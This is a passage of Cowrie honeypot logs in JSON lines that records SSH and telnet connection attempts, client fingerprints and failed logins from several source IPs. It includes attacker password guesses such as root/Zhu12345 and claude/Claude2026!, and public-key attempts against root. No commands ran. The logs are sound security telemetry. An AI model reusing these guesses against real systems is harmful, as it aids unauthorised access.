es128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:22.531034Z","src_ip":"193.39.208.26","session":"b508e7bc5bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu12345","message":"login attempt [root/Zhu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:22.896196Z","src_ip":"193.39.208.26","session":"b508e7bc5bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e81228ca10b","protocol":"telnet","message":"New connection: 192.119.13.58:52680 (10.17.0.5:23) [session: 3e81228ca10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:23.488112Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:23.982265Z","src_ip":"193.39.208.26","session":"b508e7bc5bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33738,"dst_ip":"10.17.0.5","dst_port":23,"session":"adc1098a684d","protocol":"telnet","message":"New connection: 192.119.13.58:33738 (10.17.0.5:23) [session: adc1098a684d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:27.206995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35272,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de8022813f2","protocol":"telnet","message":"New connection: 192.119.13.58:35272 (10.17.0.5:23) [session: 0de8022813f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:27.776136Z"}
{"eventid":"cowrie.session.closed","duration":40.149961709976196,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:29.330293Z","src_ip":"192.119.13.58","session":"067d9b825fe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"c026cb95de21","protocol":"telnet","message":"New connection: 192.119.13.58:52620 (10.17.0.5:23) [session: c026cb95de21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:34.756638Z"}
{"eventid":"cowrie.session.closed","duration":36.34155082702637,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:37.405240Z","src_ip":"192.119.13.58","session":"05cddbbafb57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.67964053153992,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:37.680547Z","src_ip":"192.119.13.58","session":"061fe22b9c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.421491861343384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:37.928494Z","src_ip":"192.119.13.58","session":"7e027910b8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08154344558716,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:39.667320Z","src_ip":"192.119.13.58","session":"d6b44a86c5ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"268b10f74bba","protocol":"telnet","message":"New connection: 192.119.13.58:55488 (10.17.0.5:23) [session: 268b10f74bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:46.541842Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba59433ed8b1","protocol":"telnet","message":"New connection: 192.119.13.58:59782 (10.17.0.5:23) [session: ba59433ed8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:48.091272Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57144,"dst_ip":"159.203.135.109","dst_port":22,"session":"487d4cf2c98b","protocol":"ssh","message":"New connection: 89.223.69.22:57144 (159.203.135.109:22) [session: 487d4cf2c98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:48.774851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:48.779750Z","src_ip":"89.223.69.22","session":"487d4cf2c98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:48.896495Z","src_ip":"89.223.69.22","session":"487d4cf2c98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34604,"dst_ip":"10.17.0.5","dst_port":23,"session":"d722ff3a16a3","protocol":"telnet","message":"New connection: 192.119.13.58:34604 (10.17.0.5:23) [session: d722ff3a16a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:49.189514Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555a","message":"login attempt [root/55555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:49.287759Z","src_ip":"89.223.69.22","session":"487d4cf2c98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:50.407692Z","src_ip":"89.223.69.22","session":"487d4cf2c98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":59881,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e973dcb3b5b","protocol":"telnet","message":"New connection: 186.195.16.41:59881 (159.203.135.109:23) [session: 8e973dcb3b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.138966Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.16","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b3db546e584","protocol":"ssh","message":"New connection: 89.37.117.16:48190 (10.17.0.5:22) [session: 8b3db546e584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.762108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.767040Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.897688Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":35672,"dst_ip":"10.17.0.5","dst_port":22,"session":"774506865bb8","protocol":"ssh","message":"New connection: 49.51.73.108:35672 (10.17.0.5:22) [session: 774506865bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.907107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.912172Z","src_ip":"49.51.73.108","session":"774506865bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:52.984465Z","src_ip":"49.51.73.108","session":"774506865bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.291562Z","src_ip":"49.51.73.108","session":"774506865bb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:45:34:3f:eb:57:2c:b8:bc:3b:a5:fb:be:5d:1c:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSa3sfTOZDRhh/rZI9WNw9v6KceCaYezN4GzzU9dmpxiB1QWuiwj7ayR//MWvRVITa0fpHegZ5Ew4l+YrVCxKh7M9gtu2U6suryUBfuuDUOUO23bCg0/nqH4hXZhbAptm5umpJzxSnXxZwpJTr0w5OJo1aCPS+4ax//F+8yf+HJuJQtd48ktvE4jJxUDcZgDes1DSgf4sqamFE5u5vV39ya9+hCGfN1Vh2HnsNwe5yb2RLntT2VcXvaQLcFAca0sefZo1xwn0ksvEUMGHs6YJrzmL8JXRebBXQLVYfKRK+RsMwSNqBDdeH+7aPC6eQUc7LLPOVENqk9xpEg4FG+Pu1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:45:34:3f:eb:57:2c:b8:bc:3b:a5:fb:be:5d:1c:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.520737Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:45:34:3f:eb:57:2c:b8:bc:3b:a5:fb:be:5d:1c:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSa3sfTOZDRhh/rZI9WNw9v6KceCaYezN4GzzU9dmpxiB1QWuiwj7ayR//MWvRVITa0fpHegZ5Ew4l+YrVCxKh7M9gtu2U6suryUBfuuDUOUO23bCg0/nqH4hXZhbAptm5umpJzxSnXxZwpJTr0w5OJo1aCPS+4ax//F+8yf+HJuJQtd48ktvE4jJxUDcZgDes1DSgf4sqamFE5u5vV39ya9+hCGfN1Vh2HnsNwe5yb2RLntT2VcXvaQLcFAca0sefZo1xwn0ksvEUMGHs6YJrzmL8JXRebBXQLVYfKRK+RsMwSNqBDdeH+7aPC6eQUc7LLPOVENqk9xpEg4FG+Pu1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.525582Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:2b:38:d8:5f:8c:60:15:93:4c:7c:99:70:32:ec:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1KdUMIJ1UOsqiblskQkUlpbF3tiz4vYY7kH4OPKkmDV51CFLV48xgsaA7qivgyjLJ3c8x7DOjtzue1A0snz+zUew0otVxtip+pbpqX4MbM4Hj1RGCnCFWokR113tjgssgycHZC3q+EAA1vF8+ruvIVlksqSdeMzPRjm4DEHpU3KV2qC9nuH7rTwVDaSn15FTENVxCIfSwn5Yb5vep+C1NBTlHPPqnEuQ6krCCPH65Be8W9nRNsTwGAIunDlAr6AGzopxo+v3XeXmIl7gHliBeHpUBA7TISmHSG/7GEb7WMN4eSwUmlWzHsImGBOsoK5txDLCOLN7uoT1PEPXQPIqPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:2b:38:d8:5f:8c:60:15:93:4c:7c:99:70:32:ec:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.657363Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:2b:38:d8:5f:8c:60:15:93:4c:7c:99:70:32:ec:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1KdUMIJ1UOsqiblskQkUlpbF3tiz4vYY7kH4OPKkmDV51CFLV48xgsaA7qivgyjLJ3c8x7DOjtzue1A0snz+zUew0otVxtip+pbpqX4MbM4Hj1RGCnCFWokR113tjgssgycHZC3q+EAA1vF8+ruvIVlksqSdeMzPRjm4DEHpU3KV2qC9nuH7rTwVDaSn15FTENVxCIfSwn5Yb5vep+C1NBTlHPPqnEuQ6krCCPH65Be8W9nRNsTwGAIunDlAr6AGzopxo+v3XeXmIl7gHliBeHpUBA7TISmHSG/7GEb7WMN4eSwUmlWzHsImGBOsoK5txDLCOLN7uoT1PEPXQPIqPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.662553Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:28:c9:70:a6:a7:b6:90:f1:1a:cb:66:6f:8b:0b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDucJCtVCl6DBim6JujZdpUfHwpndQSsMYkqUcYUwmHY8kaYKYTavOasapfPSoK6iqcJGsun5AaK4Qg3JHgD2DRtuWwlq5KpqSj/0XEOuLwlFDdZ/irgRz0wsMZrLO0kzmOYYwu3IRbVvm4HRT6sIAHhHoqISusQdUfDHCAOXwHsFIxPgV+U+e4ndh0LucmU4ArmZDcHIfh3VTb44w1NrEo4zNTWwjrIeeDoL7QgRX2xO+/piECbw/KraSbfYLAxqT1AGjJgYgWea0k97O5nP+hYVhcRXm2zkNtjR4/KpbTFWqlCPbuEtTolvRudH2Dy0QNh18vtaCS750+mKmfiCdB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:28:c9:70:a6:a7:b6:90:f1:1a:cb:66:6f:8b:0b:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.794145Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:28:c9:70:a6:a7:b6:90:f1:1a:cb:66:6f:8b:0b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDucJCtVCl6DBim6JujZdpUfHwpndQSsMYkqUcYUwmHY8kaYKYTavOasapfPSoK6iqcJGsun5AaK4Qg3JHgD2DRtuWwlq5KpqSj/0XEOuLwlFDdZ/irgRz0wsMZrLO0kzmOYYwu3IRbVvm4HRT6sIAHhHoqISusQdUfDHCAOXwHsFIxPgV+U+e4ndh0LucmU4ArmZDcHIfh3VTb44w1NrEo4zNTWwjrIeeDoL7QgRX2xO+/piECbw/KraSbfYLAxqT1AGjJgYgWea0k97O5nP+hYVhcRXm2zkNtjR4/KpbTFWqlCPbuEtTolvRudH2Dy0QNh18vtaCS750+mKmfiCdB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.798601Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBioMRtsErU4vP2eFRsvMhu49lPn99rcTA9vJyU7KfqKA3pfYLDgDp3Emktnv6JAvsA9fAJ9WvU2QPHe8JBo25NG+qoB08kY3e9rbfTLEQHqEYJTuIz4fy4BI7PlyYrUy0BhavgkoMr3Qw+lVTrhswFiEIGnDlsDVcFfEiGuvS/+QyVzZzp49LOCHg+ewZSr7XkE7fF+uMvE3zAHpimsuhj8flaaFtj+l4l0F/mxw5Xuc3FIjm50Af27cC3UmGcrQx1RHGwI5zJViDvpZGg/WWXXGYSdLtLVxOVpuFG126FHeU3F70FhrkKs13eTDa+YAf1i1IiL2VrRe8WU7+Lgil","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.929030Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBioMRtsErU4vP2eFRsvMhu49lPn99rcTA9vJyU7KfqKA3pfYLDgDp3Emktnv6JAvsA9fAJ9WvU2QPHe8JBo25NG+qoB08kY3e9rbfTLEQHqEYJTuIz4fy4BI7PlyYrUy0BhavgkoMr3Qw+lVTrhswFiEIGnDlsDVcFfEiGuvS/+QyVzZzp49LOCHg+ewZSr7XkE7fF+uMvE3zAHpimsuhj8flaaFtj+l4l0F/mxw5Xuc3FIjm50Af27cC3UmGcrQx1RHGwI5zJViDvpZGg/WWXXGYSdLtLVxOVpuFG126FHeU3F70FhrkKs13eTDa+YAf1i1IiL2VrRe8WU7+Lgil","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:53.933573Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:ea:83:80:cc:4d:a5:e3:17:33:d1:c1:59:c5:83:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+lh3xbgLmlfe7QmFTL8+OXTWyZQIXoBFYS6P7lKCyI08R8hVLJ+EuEL55MhSYv0OA66IqTVlW3j20HVfBiO+eaXHHzkaDfJiw7Mo62AAq7oSs+xcE+zDTAI8PChL7FoOsArB4/gtnEINuAVg+t0UhAQ83ciWAJa7+q+IGkE6qfgf05Dq5oYEq2O3C9k7UEGTt2+QPhElz/62vOrKs5kQOwjnY87AOiBFbwZ8KqMCGLYP6crrnShVPnQM0yVt9jfR6AAAqLvqGF1nwQHvfcAq2L0Ciyy0jYmjT+XyhvBI4/vc0CAHksc/GXT2Ehr0tSJ807CY5cInytpfBoq48jF4U5m+03vv4xtUtUNYnI0NRP1t772sRRkWjAfmhMMLTSYGoqCwd/cOdPfPXHuaFtTW3jAzADOP2DJsUC2oZRhcnf4WGINoYI27jBE8xllRch9iKK/biNS3CSvrCB6FLYA2fsLtcFjlV3hdkFc/FlrWG8wVQu3CGQkV4rTrEyf0lmrU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:ea:83:80:cc:4d:a5:e3:17:33:d1:c1:59:c5:83:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:54.068231Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:ea:83:80:cc:4d:a5:e3:17:33:d1:c1:59:c5:83:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+lh3xbgLmlfe7QmFTL8+OXTWyZQIXoBFYS6P7lKCyI08R8hVLJ+EuEL55MhSYv0OA66IqTVlW3j20HVfBiO+eaXHHzkaDfJiw7Mo62AAq7oSs+xcE+zDTAI8PChL7FoOsArB4/gtnEINuAVg+t0UhAQ83ciWAJa7+q+IGkE6qfgf05Dq5oYEq2O3C9k7UEGTt2+QPhElz/62vOrKs5kQOwjnY87AOiBFbwZ8KqMCGLYP6crrnShVPnQM0yVt9jfR6AAAqLvqGF1nwQHvfcAq2L0Ciyy0jYmjT+XyhvBI4/vc0CAHksc/GXT2Ehr0tSJ807CY5cInytpfBoq48jF4U5m+03vv4xtUtUNYnI0NRP1t772sRRkWjAfmhMMLTSYGoqCwd/cOdPfPXHuaFtTW3jAzADOP2DJsUC2oZRhcnf4WGINoYI27jBE8xllRch9iKK/biNS3CSvrCB6FLYA2fsLtcFjlV3hdkFc/FlrWG8wVQu3CGQkV4rTrEyf0lmrU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:54.072781Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:54.206696Z","src_ip":"89.37.117.16","session":"8b3db546e584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:54.364120Z","src_ip":"49.51.73.108","session":"774506865bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.853854179382324,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:54.589568Z","src_ip":"192.119.13.58","session":"ce403556958f","protocol":"telnet"}
